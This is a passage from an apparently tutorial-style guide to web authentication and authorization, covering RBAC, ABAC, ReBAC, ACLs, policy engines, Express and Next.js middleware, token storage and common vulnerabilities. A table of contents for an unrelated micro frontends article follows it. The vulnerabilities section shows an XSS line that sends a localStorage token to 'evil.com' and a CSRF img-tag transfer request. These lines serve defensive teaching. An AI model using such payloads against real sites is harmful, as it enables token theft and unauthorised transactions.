├──────────┤    ├──────────┤    ├──────────────────┤
│ Alice    │    │ admin    │    │ users:read       │
│ Bob      │    │ editor   │    │ users:write      │
│ Charlie  │    │ viewer   │    │ users:delete     │
│          │    │          │    │ posts:read       │
│          │    │          │    │ posts:write      │
│          │    │          │    │ posts:delete     │
│          │    │          │    │ settings:manage  │
└──────────┘    └──────────┘    └──────────────────┘

Alice   -> admin  -> [all permissions]
Bob     -> editor -> [posts:read, posts:write, users:read]
Charlie -> viewer -> [posts:read, users:read]

// RBAC implementation
const ROLES = {
  admin: {
    permissions: ['users:read', 'users:write', 'users:delete',
                  'posts:read', 'posts:write', 'posts:delete',
                  'settings:manage']
  },
  editor: {
    permissions: ['posts:read', 'posts:write', 'posts:delete', 'users:read']
  },
  viewer: {
    permissions: ['posts:read', 'users:read']
  }
};

// Authorization middleware
function requirePermission(...requiredPermissions) {
  return (req, res, next) => {
    const userRole = req.user.role;
    const role = ROLES[userRole];

    if (!role) {
      return res.status(403).json({ error: 'Unknown role' });
    }

    const hasAll = requiredPermissions.every(
      perm => role.permissions.includes(perm)
    );

    if (!hasAll) {
      return res.status(403).json({
        error: 'Insufficient permissions',
        required: requiredPermissions,
        your_role: userRole
      });
    }

    next();
  };
}

// Usage
app.delete('/api/users/:id',
  authenticateToken,
  requirePermission('users:delete'),
  async (req, res) => {
    await db.users.delete(req.params.id);
    res.json({ deleted: true });
  }
);

app.get('/api/posts',
  authenticateToken,
  requirePermission('posts:read'),
  async (req, res) => {
    const posts = await db.posts.findAll();
    res.json(posts);
  }
);

ABAC (Attribute-Based Access Control)

More flexible than RBAC. Decisions based on attributes of the user, resource, action, and environment.

// ABAC policy engine (simplified)
const policies = [
  {
    name: 'doctors-view-own-patients',
    effect: 'allow',
    condition: (ctx) =>
      ctx.user.role === 'doctor' &&
      ctx.resource.type === 'patient_record' &&
      ctx.resource.assignedDoctorId === ctx.user.id &&
      ctx.action === 'read'
  },
  {
    name: 'edit-during-business-hours',
    effect: 'allow',
    condition: (ctx) => {
      const hour = new Date().getHours();
      return ctx.action === 'write' &&
             ctx.user.department === ctx.resource.department &&
             hour >= 9 && hour <= 17;
    }
  },
  {
    name: 'admin-override',
    effect: 'allow',
    condition: (ctx) => ctx.user.role === 'admin'
  }
];

function evaluate(context) {
  for (const policy of policies) {
    if (policy.condition(context)) {
      return policy.effect === 'allow';
    }
  }
  return false; // Default deny
}

// Usage
const allowed = evaluate({
  user: { id: 42, role: 'doctor', department: 'cardiology' },
  resource: { type: 'patient_record', assignedDoctorId: 42, department: 'cardiology' },
  action: 'read',
  environment: { time: new Date(), ip: '10.0.0.5' }
});

ReBAC (Relationship-Based Access Control)

Made famous by Google Zanzibar (the system behind Google Drive, Docs, etc.). Authorization is based on relationships between entities.

Concept:
  "User X has relationship Y with object Z"

Examples:
  "Alice is an owner of document:report.pdf"
  "Bob is a member of team:engineering"
  "team:engineering is a viewer of folder:designs"
  (Therefore Bob can view folder:designs — inherited!)

Relationship tuples:
  ┌────────────────────────────────────────────────┐
  │ user          │ relation │ object              │
  ├───────────────┼──────────┼─────────────────────┤
  │ user:alice    │ owner    │ doc:report.pdf      │
  │ user:bob      │ member   │ team:engineering    │
  │ team:engineering│ viewer  │ folder:designs      │
  │ user:charlie  │ editor   │ doc:budget.xlsx     │
  └────────────────────────────────────────────────┘

Query: "Can bob view folder:designs?"
  1. Is bob a viewer of folder:designs? No.
  2. Is bob a member of any group that is a viewer?
     bob -> member -> team:engineering -> viewer -> folder:designs
     Yes! Allowed.

Open-source implementations: OpenFGA (by Auth0/Okta), SpiceDB (by Authzed), Keto (by Ory).

ACLs (Access Control Lists)

The oldest pattern. Each resource has a list of who can do what.

// ACL attached to a resource
const document = {
  id: 'doc-123',
  title: 'Q4 Report',
  acl: [
    { userId: 'alice', permissions: ['read', 'write', 'delete', 'share'] },
    { userId: 'bob', permissions: ['read', 'write'] },
    { userId: 'charlie', permissions: ['read'] },
    { groupId: 'team-finance', permissions: ['read'] }
  ]
};

function checkACL(resource, userId, action) {
  const entry = resource.acl.find(e => e.userId === userId);
  return entry?.permissions.includes(action) || false;
}

Simple, but doesn't scale well. If you have millions of documents, managing ACLs per document becomes a nightmare.

Policy Engines (OPA, Cedar)

For complex authorization logic, externalize it to a dedicated policy engine.

OPA (Open Policy Agent) uses Rego (a declarative policy language):

# policy.rego
package authz

default allow = false

# Admins can do anything
allow {
    input.user.role == "admin"
}

# Users can read their own profile
allow {
    input.action == "read"
    input.resource.type == "profile"
    input.resource.owner == input.user.id
}

# Managers can read profiles of their reports
allow {
    input.action == "read"
    input.resource.type == "profile"
    input.resource.owner == data.reports[input.user.id][_]
}

Cedar (by AWS, used in Amazon Verified Permissions):

// Cedar policy
permit(
  principal in Role::"editor",
  action in [Action::"read", Action::"write"],
  resource in Folder::"documents"
) when {
  resource.classification != "top-secret"
};

Authorization Pattern Comparison

Pattern	Complexity	Flexibility	Best For
RBAC	Low	Medium	Most web apps, SaaS with clear roles
ABAC	Medium	High	Healthcare, finance, context-dependent access
ReBAC	High	Very high	Document sharing, social networks, Google-scale
ACL	Low	Low	File systems, simple per-resource access
Policy Engine	High	Very high	Microservices, complex compliance requirements

Implementation Patterns

Auth Middleware in Express/Node.js

A complete middleware stack:

// middleware/auth.js
const jwt = require('jsonwebtoken');

// Layer 1: Extract and verify identity
function authenticate(req, res, next) {
  // Check cookie first, then Authorization header
  const token = req.cookies?.accessToken ||
    req.headers.authorization?.replace('Bearer ', '');

  if (!token) {
    req.user = null;
    return next(); // Continue as anonymous (let authorize handle it)
  }

  try {
    const payload = jwt.verify(token, process.env.JWT_SECRET);
    req.user = {
      id: payload.sub,
      email: payload.email,
      role: payload.role,
      permissions: payload.permissions || []
    };
  } catch (err) {
    req.user = null;
  }
  next();
}

// Layer 2: Require authentication
function requireAuth(req, res, next) {
  if (!req.user) {
    return res.status(401).json({ error: 'Authentication required' });
  }
  next();
}

// Layer 3: Require specific role(s)
function requireRole(...roles) {
  return [requireAuth, (req, res, next) => {
    if (!roles.includes(req.user.role)) {
      return res.status(403).json({ error: 'Insufficient role' });
    }
    next();
  }];
}

// Layer 4: Require specific permission(s)
function requirePermission(...perms) {
  return [requireAuth, (req, res, next) => {
    const hasAll = perms.every(p => req.user.permissions.includes(p));
    if (!hasAll) {
      return res.status(403).json({ error: 'Insufficient permissions' });
    }
    next();
  }];
}

// Layer 5: Resource ownership check
function requireOwnership(getResourceOwnerId) {
  return [requireAuth, async (req, res, next) => {
    const ownerId = await getResourceOwnerId(req);
    if (ownerId !== req.user.id && req.user.role !== 'admin') {
      return res.status(403).json({ error: 'Not your resource' });
    }
    next();
  }];
}

module.exports = { authenticate, requireAuth, requireRole,
                   requirePermission, requireOwnership };

// routes.js — Usage
const { authenticate, requireAuth, requireRole,
        requirePermission, requireOwnership } = require('./middleware/auth');

const app = express();
app.use(authenticate); // Run on every request

// Public route — no auth needed
app.get('/api/posts', async (req, res) => { /* ... */ });

// Authenticated route — any logged-in user
app.get('/api/profile', requireAuth, async (req, res) => { /* ... */ });

// Role-restricted
app.get('/api/admin/users', ...requireRole('admin'), async (req, res) => { /* ... */ });

// Permission-restricted
app.delete('/api/posts/:id', ...requirePermission('posts:delete'),
  async (req, res) => { /* ... */ });

// Ownership check
app.put('/api/posts/:id',
  ...requireOwnership(async (req) => {
    const post = await db.posts.findById(req.params.id);
    return post?.authorId;
  }),
  async (req, res) => { /* ... */ }
);

Auth in Next.js

Next.js has multiple layers where you can enforce auth.

Middleware (Edge Runtime) — runs before every request:

// middleware.ts (in project root)
import { NextRequest, NextResponse } from 'next/server';
import { jwtVerify } from 'jose';

const PUBLIC_PATHS = ['/login', '/signup', '/api/auth'];
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET);

export async function middleware(request: NextRequest) {
  const path = request.nextUrl.pathname;

  // Skip public paths
  if (PUBLIC_PATHS.some(p => path.startsWith(p))) {
    return NextResponse.next();
  }

  const token = request.cookies.get('accessToken')?.value;

  if (!token) {
    return NextResponse.redirect(new URL('/login', request.url));
  }

  try {
    const { payload } = await jwtVerify(token, SECRET);

    // Add user info to headers for server components
    const response = NextResponse.next();
    response.headers.set('x-user-id', payload.sub as string);
    response.headers.set('x-user-role', payload.role as string);
    return response;
  } catch {
    return NextResponse.redirect(new URL('/login', request.url));
  }
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)']
};

Server Components — read auth state:

// app/dashboard/page.tsx
import { cookies } from 'next/headers';
import { jwtVerify } from 'jose';

async function getUser() {
  const cookieStore = await cookies();
  const token = cookieStore.get('accessToken')?.value;
  if (!token) return null;

  try {
    const { payload } = await jwtVerify(
      token,
      new TextEncoder().encode(process.env.JWT_SECRET)
    );
    return payload;
  } catch {
    return null;
  }
}

export default async function Dashboard() {
  const user = await getUser();
  if (!user) redirect('/login');

  return (
    <div>
      <h1>Welcome, {user.email}</h1>
      {user.role === 'admin' && <AdminPanel />}
    </div>
  );
}

Securing REST APIs

// Rate limiting on auth endpoints (critical!)
const rateLimit = require('express-rate-limit');

const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 10,                   // 10 attempts
  message: { error: 'Too many login attempts. Try again in 15 minutes.' },
  standardHeaders: true,
  legacyHeaders: false
});

app.post('/api/auth/login', authLimiter, loginHandler);
app.post('/api/auth/register', authLimiter, registerHandler);

// Input validation
const { body, validationResult } = require('express-validator');

app.post('/api/auth/register',
  authLimiter,
  body('email').isEmail().normalizeEmail(),
  body('password')
    .isLength({ min: 8 })
    .matches(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)/)
    .withMessage('Password must include uppercase, lowercase, and a number'),
  (req, res, next) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    next();
  },
  registerHandler
);

Securing GraphQL APIs

GraphQL is trickier because there's typically one endpoint. You can't just protect routes — you need to protect at the resolver level.

// Apollo Server with auth context
const { ApolloServer } = require('@apollo/server');

const server = new ApolloServer({
  typeDefs,
  resolvers,
});

// Extract user from token in context
async function getContext({ req }) {
  const token = req.headers.authorization?.replace('Bearer ', '');
  let user = null;

  if (token) {
    try {
      const payload = jwt.verify(token, process.env.JWT_SECRET);
      user = await db.users.findById(payload.sub);
    } catch {}
  }

  return { user };
}

// Auth directive or wrapper for resolvers
function authenticated(resolver) {
  return (parent, args, context, info) => {
    if (!context.user) {
      throw new GraphQLError('Not authenticated', {
        extensions: { code: 'UNAUTHENTICATED' }
      });
    }
    return resolver(parent, args, context, info);
  };
}

function authorized(role, resolver) {
  return authenticated((parent, args, context, info) => {
    if (context.user.role !== role && context.user.role !== 'admin') {
      throw new GraphQLError('Not authorized', {
        extensions: { code: 'FORBIDDEN' }
      });
    }
    return resolver(parent, args, context, info);
  });
}

// Resolvers
const resolvers = {
  Query: {
    me: authenticated((_, __, { user }) => user),
    users: authorized('admin', () => db.users.findAll()),
    publicPosts: (_, __) => db.posts.findPublic(), // No auth needed
  },
  Mutation: {
    deleteUser: authorized('admin', (_, { id }) => db.users.delete(id)),
    updateProfile: authenticated((_, { input }, { user }) => {
      return db.users.update(user.id, input);
    }),
  }
};

Token Storage: Where to Put Them

This is a critical security decision. Here's the full picture.

Storage	XSS Vulnerable?	CSRF Vulnerable?	Persists Across Tabs?	Survives Refresh?
localStorage	YES	No	Yes	Yes
sessionStorage	YES	No	No	Yes (same tab)
httpOnly Cookie	No	YES (without SameSite)	Yes	Yes
In-memory (JS variable)	Only during XSS	No	No	No
httpOnly Cookie + SameSite	No	No	Yes	Yes

The Recommended Approach

Access Token:  In memory (JS variable) or short-lived httpOnly cookie
Refresh Token: httpOnly, Secure, SameSite=Strict cookie

Why?
- Access token in memory: Can't be stolen via XSS (no persistent storage)
- Refresh token in httpOnly cookie: Can't be accessed by JavaScript at all
- SameSite=Strict: Prevents CSRF
- Short access token lifetime (15min): Limits damage if somehow leaked

// Server: Set refresh token as httpOnly cookie
res.cookie('refreshToken', refreshToken, {
  httpOnly: true,       // JavaScript can't access it
  secure: true,         // HTTPS only
  sameSite: 'strict',   // Not sent on cross-origin requests
  maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
  path: '/api/auth'     // Only sent to auth endpoints
});

// Send access token in response body (stored in memory by client)
res.json({ accessToken });

// Client: Store access token in memory
let accessToken = null;

async function login(email, password) {
  const res = await fetch('/api/auth/login', {
    method: 'POST',
    credentials: 'include', // Send cookies
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password })
  });
  const data = await res.json();
  accessToken = data.accessToken; // In memory only
}

async function fetchWithAuth(url, options = {}) {
  let res = await fetch(url, {
    ...options,
    credentials: 'include',
    headers: {
      ...options.headers,
      'Authorization': `Bearer ${accessToken}`
    }
  });

  // If 401, try refreshing
  if (res.status === 401) {
    const refreshRes = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include' // Sends httpOnly refresh cookie
    });

    if (refreshRes.ok) {
      const data = await refreshRes.json();
      accessToken = data.accessToken;
      // Retry original request
      res = await fetch(url, {
        ...options,
        credentials: 'include',
        headers: {
          ...options.headers,
          'Authorization': `Bearer ${accessToken}`
        }
      });
    } else {
      // Refresh failed — redirect to login
      window.location.href = '/login';
    }
  }

  return res;
}

Common Auth Vulnerabilities

CSRF (Cross-Site Request Forgery)

An attacker tricks a user's browser into making a request to your site (using the user's cookies).

Attacker's site has:
  <img src="https://yourbank.com/api/transfer?to=attacker&amount=10000" />

User visits attacker's site while logged into yourbank.com.
Browser sends the GET request WITH the user's session cookie.
Money transferred.

Prevention:

SameSite=Strict or SameSite=Lax on cookies (most effective)
CSRF tokens (traditional approach)
Check Origin and Referer headers

XSS (Cross-Site Scripting)

Attacker injects JavaScript into your page that steals tokens from localStorage or makes authenticated requests.

// If an attacker injects this into your page:
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));
// Your token is gone.

// httpOnly cookies are immune to this — JavaScript simply cannot access them
document.cookie; // httpOnly cookies don't appear here

Prevention:

Never store sensitive tokens in localStorage
Use httpOnly cookies
Sanitize all user input
Use Content Security Policy (CSP) headers

Session Fixation

Attacker sets a known session ID before the user logs in, then uses that same session after login.

Prevention: Always regenerate the session ID after successful login.

app.post('/login', async (req, res) => {
  // ... verify credentials ...

  // Regenerate session to prevent fixation
  req.session.regenerate((err) => {
    req.session.userId = user.id;
    res.json({ success: true });
  });
});

JWT Pitfalls

Pitfall	Description	Fix
`alg: "none"`	Some libraries accept unsigned tokens	Always specify allowed algorithms
Storing secrets in payload	JWT payload is just base64, not encrypted	Never put sensitive data in JWT payload
No expiration	Token valid forever	Always set `exp` claim
Long-lived tokens	More time for stolen token to be used	Short access tokens + refresh rotation
Client-side verification	Trusting the client to check expiration	Always verify server-side

// ALWAYS specify the algorithm — prevents "none" attack
jwt.verify(token, secret, { algorithms: ['HS256'] });

// NEVER do this:
jwt.verify(token, secret); // Accepts whatever algorithm the token claims

Brute Force Protection

// Combine rate limiting with account lockout
const loginAttempts = new Map(); // Use Redis in production

app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const key = email.toLowerCase();

  // Check lockout
  const attempts = loginAttempts.get(key) || { count: 0, lockedUntil: null };

  if (attempts.lockedUntil && attempts.lockedUntil > Date.now()) {
    const waitSeconds = Math.ceil((attempts.lockedUntil - Date.now()) / 1000);
    return res.status(429).json({
      error: `Account locked. Try again in ${waitSeconds} seconds.`
    });
  }

  const user = await db.users.findByEmail(email);
  const isValid = user && await bcrypt.compare(password, user.passwordHash);

  if (!isValid) {
    attempts.count++;

    // Exponential backoff lockout
    if (attempts.count >= 5) {
      const lockoutMinutes = Math.min(2 ** (attempts.count - 5), 60);
      attempts.lockedUntil = Date.now() + lockoutMinutes * 60 * 1000;
    }

    loginAttempts.set(key, attempts);

    // Constant-time response (don't reveal if email exists)
    return res.status(401).json({ error: 'Invalid email or password' });
  }

  // Reset attempts on success
  loginAttempts.delete(key);

  // ... create session/token ...
});

Auth Libraries and Services Comparison

Libraries (Self-Hosted)

Library	Framework	Sessions	JWT	OAuth	Passkeys	Notes
Auth.js (NextAuth)	Next.js, SvelteKit	Yes	Yes	Yes (built-in)	Experimental	Most popular for Next.js
Lucia	Any (framework-agnostic)	Yes	No	Manual	Manual	Lightweight, great DX
Passport.js	Express	Yes	Plugin	Yes (strategies)	Plugin	Old but massive ecosystem
Iron Session	Next.js	Yes (encrypted cookies)	No	Manual	Manual	Minimal, encrypted sessions
Better Auth	Any	Yes	Yes	Yes	Yes	Newer, feature-rich
Arctic	Any	No	No	Yes	No	Just OAuth — does it well

Services (Managed)

Service	Free Tier	OAuth	Passkeys	MFA	Pricing Model
Clerk	10k MAU	Yes	Yes	Yes	Per MAU
Auth0	7.5k MAU	Yes	Yes	Yes	Per MAU
Supabase Auth	50k MAU	Yes	No	Yes	Included with Supabase
Firebase Auth	Unlimited (mostly)	Yes	No	Yes (phone)	Per verification
Kinde	10.5k MAU	Yes	Yes	Yes	Per MAU
WorkOS	1M MAU	Yes	No	Yes	Per MAU (enterprise SSO is extra)

Decision Guide

Building a Next.js app?
  ├── Want managed? --> Clerk or Auth0
  └── Want self-hosted?
      ├── Need OAuth? --> Auth.js (NextAuth)
      └── Just sessions? --> Iron Session or Lucia

Building an Express API?
  ├── Need many OAuth providers? --> Passport.js
  └── Minimal auth? --> Roll your own with bcrypt + express-session

Need enterprise SSO (SAML/OIDC)?
  └── WorkOS or Auth0

Budget is zero?
  └── Supabase Auth (generous free tier) or self-hosted Lucia

Real-World Auth Architecture for a SaaS App

Here's what a production auth system looks like for a typical B2B SaaS application:

┌─────────────────────────────────────────────────────────────────┐
│                         Client (Browser)                        │
│                                                                 │
│  ┌──────────┐  ┌──────────────┐  ┌────────────────────────┐   │
│  │  Login   │  │  OAuth Flow  │  │  Passkey Registration  │   │
│  │  Form    │  │  (Google,    │  │  & Authentication      │   │
│  │          │  │   GitHub)    │  │                        │   │
│  └────┬─────┘  └──────┬───────┘  └───────────┬────────────┘   │
│       │               │                       │                 │
│       └───────────────┴───────────────────────┘                 │
│                           │                                     │
│              Access token in memory                             │
│              Refresh token in httpOnly cookie                   │
└───────────────────────────┼─────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────────┐
│                     API Gateway / Edge                           │
│                                                                 │
│  - Rate limiting (stricter on /auth endpoints)                  │
│  - CORS validation                                              │
│  - Token verification (fast-reject invalid tokens)              │
└───────────────────────────┼─────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────────┐
│                      Auth Service                               │
│                                                                 │
│  ┌─────────────────┐  ┌───────────────────┐                   │
│  │ Authentication   │  │ Authorization      │                   │
│  │                 │  │                   │                   │
│  │ - Login/Signup  │  │ - RBAC policies   │                   │
│  │ - OAuth flows   │  │ - Org membership  │                   │
│  │ - Passkeys      │  │ - Resource perms  │                   │
│  │ - MFA verify    │  │ - API key scopes  │                   │
│  │ - Token issue   │  │                   │                   │
│  └────────┬────────┘  └────────┬──────────┘                   │
│           │                    │                               │
│  ┌────────┴────────────────────┴──────────┐                   │
│  │            Data Stores                  │                   │
│  │                                        │                   │
│  │  PostgreSQL: users, orgs, roles,       │                   │
│  │    permissions, API keys, passkeys     │                   │
│  │                                        │                   │
│  │  Redis: sessions, refresh tokens,      │                   │
│  │    rate limit counters, token blocklist │                   │
│  └────────────────────────────────────────┘                   │
└─────────────────────────────────────────────────────────────────┘
                            │
                  Verified user context
                  passed via headers or
                  shared JWT to downstream
                            │
                            ▼
┌─────────────────────────────────────────────────────────────────┐
│                   Application Services                          │
│                                                                 │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐      │
│  │ Users    │  │ Billing  │  │ Projects │  │ Settings │      │
│  │ Service  │  │ Service  │  │ Service  │  │ Service  │      │
│  └──────────┘  └──────────┘  └──────────┘  └──────────┘      │
│                                                                 │
│  Each service trusts the auth context from the Auth Service.    │
│  No direct DB access to auth tables.                            │
└─────────────────────────────────────────────────────────────────┘

Key design decisions in this architecture:

Auth is a separate service — isolates security-critical code
Gateway handles fast-reject — invalid tokens are caught before hitting app logic
Redis for sessions/tokens — fast lookups, easy expiration, supports revocation
PostgreSQL for persistent auth data — users, roles, credentials need durability
Downstream services trust auth context — they don't re-verify tokens, they trust headers from the gateway

Decision Framework

Not sure which auth approach to take? Walk through this:

1. What type of application?
   ├── Server-rendered web app --> Session-based auth (cookies)
   ├── SPA + API --> JWT (access) + httpOnly cookie (refresh)
   ├── Mobile app --> JWT with secure storage (Keychain/Keystore)
   ├── API for developers --> API keys
   └── Service-to-service --> mTLS or signed JWTs

2. Do you need social login?
   ├── Yes --> OAuth 2.0 (use a library: Auth.js, Passport)
   └── No --> Email/password + optional passkeys

3. How critical is security?
   ├── Financial/healthcare --> MFA required, passkeys, short sessions
   ├── Business SaaS --> MFA optional, session-based, RBAC
   └── Consumer app --> Email/password is fine, consider magic links

4. Do you need instant revocation?
   ├── Yes --> Sessions (or JWTs with a blocklist in Redis)
   └── Not critical --> JWTs with short expiry + refresh rotation

5. Authorization model?
   ├── Simple roles (admin/user/viewer) --> RBAC
   ├── Per-resource sharing (like Google Docs) --> ReBAC
   ├── Complex rules with context --> ABAC or policy engine
   └── Just ownership checks --> Simple middleware checks

6. Build or buy?
   ├── Small team, need to move fast --> Managed service (Clerk, Auth0)
   ├── Need full control --> Self-hosted with a library (Lucia, Auth.js)
   └── Enterprise requirements --> WorkOS or Auth0 Enterprise

Wrapping Up

Auth is one of those things that seems simple on the surface but has surprising depth once you start considering all the edge cases, security implications, and architectural decisions. Here are the key takeaways:

Always hash passwords with bcrypt or argon2. There's no excuse for anything less.
Sessions are simpler and more secure by default than JWTs for most web apps. Use JWTs when you genuinely need stateless auth.
Store tokens in httpOnly cookies, not localStorage. If you need the access token in JavaScript, keep it in memory.
RBAC covers 90% of use cases. Don't overcomplicate authorization unless your product demands it.
Rate limit your auth endpoints aggressively. Login, register, and password reset endpoints are the #1 brute force target.
Passkeys are the future. Start offering them as an option even if you keep passwords as a fallback.
Use a library or service unless you have a very good reason to roll your own. Auth is not where you want to be creative.

The most secure auth system is one that you've thought through carefully and kept simple enough to maintain. Complexity is the enemy of security.

If this guide was useful and you want to see more deep dives on backend engineering and security, connect with me on LinkedIn. I share practical insights on system design, web development, and building things that scale. Let's connect!

DEV Community: Ishaan Pandey

Micro Frontends: The Ultimate Guide — React, Vite, Next.js, React Native & Module Federation

Micro Frontends: The Ultimate Guide — React, Vite, Next.js, React Native & Module Federation

Table of Contents

What Are Micro Frontends?

Why Micro Frontends Exist — The Real Problem They Solve

The Symptom

The Real Cause

What MFE Actually Buys You

What MFE Does Not Buy You

The Five Core Principles

1. Be Technology Agnostic

2. Isolate Team Code

3. Establish Team Prefixes

4. Favor Native Browser Features

5. Build a Resilient Site

When You Should (and Shouldn't) Use Them

You Probably Should NOT Use Micro Frontends If…

You Probably SHOULD Use Micro Frontends If…

The Honest Heuristic

The Composition Strategies

1. Build-Time Integration (NPM Packages)

2. Server-Side Composition

3. Iframes

4. Web Components

5. Runtime JS Composition (The One You'll Probably Use)

Module Federation — Deep Dive

The Concepts

What Gets Generated

The Critical Concept: shared

Eager vs Lazy

React + Vite + Module Federation — Full Example

Project Structure

The Remote — remote-button/vite.config.ts

The Remote — remote-button/src/Button.tsx

The Host — shell/vite.config.ts

The Host — shell/src/main.tsx

The Host — shell/src/bootstrap.tsx

The Host — shell/src/App.tsx

TypeScript: Telling It About the Remote

Running It

Common Vite + MF Gotchas

Next.js Micro Frontends — Multi-Zones & Federation

Approach 1: Multi-Zones (the simple way)

Approach 2: Module Federation in Next.js

The Catch with Next.js + MF

Mobile Micro Frontends — React Native, Expo & Super Apps

React Native + Re.Pack + Module Federation

Expo and OTA Updates

Why Mobile MFE Is Hard Mode

When Mobile MFE Is Worth It

Routing Across Micro Frontends

1. Single Shell Router

2. Distributed Routing

3. single-spa Style "Activity Functions"

The Underrated Answer: Use the URL as the Integration Layer

Shared State & Communication

1. The URL (best)

2. Custom Events

3. BroadcastChannel

4. A Tiny Pub/Sub Bus

5. Shared Store (last resort)

The Anti-Pattern: Direct Imports From Other MFEs

Shared Dependencies — The #1 Pain Point

The Rules

The Honest Trade-off

Styling Isolation

Strategies, Ranked

The Things You'll Learn the Hard Way

Deployment Strategies

Each MFE Is Its Own Deploy Unit

Versioning: Latest vs Pinned

Canary Releases

Cache Busting

Testing Micro Frontends

Unit Tests

Contract Tests

Integration / E2E

The Rule

Real-World Architectures

The Critical Concept: `shared`

The Remote — `remote-button/vite.config.ts`

The Remote — `remote-button/src/Button.tsx`

The Host — `shell/vite.config.ts`

The Host — `shell/src/main.tsx`

The Host — `shell/src/bootstrap.tsx`

The Host — `shell/src/App.tsx`